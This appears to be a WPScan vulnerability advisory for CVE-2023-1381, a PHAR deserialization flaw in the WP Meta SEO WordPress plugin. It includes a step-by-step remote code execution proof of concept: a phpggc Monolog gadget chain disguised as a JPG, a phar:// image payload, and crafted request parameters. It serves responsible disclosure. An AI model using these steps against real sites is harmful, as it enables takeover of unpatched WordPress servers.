During an internal audit, the WPScan team found a vulnerability in the WP Meta SEO plugin. This vulnerability allows attackers with at least Author privileges to upload and deserialize a PHAR file, leading to arbitrary PHP object deserialization. We were able to escalate this vulnerability to remote code execution, without the need for additional code on the server.
In this post, we’ll provide an overview of the vulnerability and explain how it can be exploited. We’ll also share our advanced proof-of-concept that escalates to RCE.
We reported this issue to the plugin authors, and a fix was released in version 4.5.5. We strongly recommend that site owners update to the latest version to protect their sites. Additionally, using a robust security solution like Jetpack Security can help to protect against such vulnerabilities in the future.
Plugin Name | WP Meta SEO |
Plugin URL | https://wordpress.org/plugins/wp-meta-seo |
Author | https://www.joomunited.com |
Fixed Version | 4.5.5 |
CVE-ID | CVE-2023-1381 |
WPScan ID | f140a928-d297-4bd1-8552-bfebcedba536 |
CVSSv3.1 | 7.2 |
Vulnerability Details
WP Meta SEO offers an “SEO Page Optimization” feature that can analyze post content and images.
When the “Reload Analysis” button is clicked, the post contents within the editor are sent to the server for analysis. As a part of this analysis, any referenced image files are inspected and processed.
Here are the relevant snippets from the inc/class.metaseo-admin.php
file:
public function reloadAnalysis()
{
...
$content = apply_filters(
'wpms_the_content',
'<div>' . html_entity_decode(stripcslashes($_POST['datas']['content']), ENT_COMPAT, 'UTF-8') . '</div>',
$_POST['datas']['post_id']
);
...
// image resize
if ($content === '') {
...
} else {
// Extracting the specified elements from the web page
$img_tags = wpmsExtractTags($content, 'img', true, true);
$img_wrong = false;
$img_wrong_alt = false;
foreach ($img_tags as $order => $tag) {
if (!isset($tag['attributes']['src'])) {
continue;
}
$src = $tag['attributes']['src'];
$imgpath = str_replace(site_url(), ABSPATH, $src);
if (!file_exists($imgpath)) {
continue;
}
...
}
...
}
...
}
The $content
variable is populated with POST data from the browser. This is used to find image URL’s, which are then converted to file paths and passed to the file_exists
function.
This can be exploited because of a quirk in PHP: if the path given to file_exists
uses the phar://
stream wrapper and points to a .phar
file or its contents, the PHP metadata object within this file will be automatically deserialized.
Caveat
This type of vulnerability was addressed in PHP 8.0 by disabling the automatic deserialization of PHAR metadata. As a result, WordPress instances running on PHP 8.0 and above are not susceptible to this vulnerability.
Proof Of Concept
The public disclosure includes a step-by-step proof-of-concept demonstrating how to exploit the vulnerability. In summary, an attacker can upload a malicious PHAR file to the server disguised as a JPG and then trigger a file_exists
call using a crafted string, such as phar://path/to/malicious.phar/example.png
, in an image src
attribute. This will cause the server to deserialize the PHAR file and potentially trigger a gadget, such as the __wakeup
method of the Evil
class in the provided POC.
Escalating to RCE
During the investigation, we noticed the inc/lib/google-api/vendor
directory contained libraries with known deserialization gadgets, including guzzlehttp
and monolog
. However, at the time when the vulnerable code was executed, these libraries were not being loaded.
Upon further inspection, however, were able to identify a way to modify the request to force the libraries with the gadgets to be autoloaded before the vulnerable code was executed.
Consider the following code snippets. First, in wp-meta-seo.php
we see the following:
if (is_admin()) {
...
if (isset($_GET['task']) && $_GET['task'] === 'wpms_ga') {
if (!empty($_GET['code'])) {
$google_analytics = get_option('wpms_google_alanytics');
if (is_array($google_analytics)) {
$google_analytics['code'] = $_GET['code'];
require_once WPMETASEO_PLUGIN_DIR . 'inc/google_analytics/wpmstools.php';
$ggClient = WpmsGaTools::initClient($google_analytics['wpmsga_dash_clientid'], $google_analytics['wpmsga_dash_clientsecret']);
...
}
...
}
...
}
...
}
Second, the implementation of WpmsGaTools::initClient
within inc/google_analytics/wpmstools.php
is as follows:
public static function initClient($clientId, $clientSecret)
{
require_once WPMETASEO_PLUGIN_DIR . 'inc/google_analytics/wpmsgapi.php';
require_once WPMETASEO_PLUGIN_DIR . 'inc/lib/google-api/vendor/autoload.php';
...
}
When triggered, this will load the autoloader from the google-api
library, which will in turn autoload the gadget code.
Since this code is loaded at the beginning of every request to WP Admin, we were able to craft a request that passed all of the conditions and use a gadget to acheive remote code execution.
Following is the step-by-step POC. Note that this POC requires a vulnerable configuration, as outlined below.
- Use a WordPress instance on PHP 7.x.
- Create a PHAR file with an RCE gadget chain for the
monolog
PHP library. This can be done using the phpggc tool. Run the following command with an arbitrary JPG file (you may need to setPhar.readonly = Off
in yourphp.ini
file):phpggc --phar-jpeg path/to/image.jpg -o poc.jpg Monolog/RCE1 system id
- Upload
poc.jpg
using the Media Editor. Take note of its path withinwp-content/uploads
- To ensure the site is in the vulnerable configuration, as an admin user, visit
/wp-admin/admin.php?page=metaseo_google_analytics&view=wpms_gg_service_data
, enter arbitrary information in the Client ID and Client Secret fields, and click “Save and Connect”. This will fail to connect if the ID and Secret are invalid, but either way it will add the needed data to the database. - Create or edit a post or page in the block editor. Add an
HTML
block with the following contents (but replace any parts of the path topoc.jpg
as needed for your test server):<img src="phar://../wp-content/uploads/2023/03/poc.jpg/test.txt">
- Without saving the post or page, open the browser console to view network traffic, then click on “Reload Analysis” in the “SEO Page Optimization” section. Intercept the request (e.g. using BurpSuite), and add the following URL parameters:
task=wpms_ga&code=UA-1234
- Note that the response body of the request will contain the output of the
id
command after the end of the JSON output.
Conclusion
The discovered vulnerability in WP Meta SEO allows attackers with at least Author privileges to upload and deserialize an arbitrary PHAR file. On PHP versions before 8.0, this can be used to achieve remove code execution due to the existence of suitable gadgets within the plugin. The vulnerability has been fixed in version 4.5.5, and we strongly recommend that all site owners update to the latest version of the plugin as soon as possible.
It’s important to note that vulnerabilities can be discovered in any plugin or software, and the WPScan team works hard to protect users by identifying and reporting such issues to the plugin authors. Remember to always keep your software up-to-date, and consider using a robust security solution like Jetpack Security to further improve the security of your site.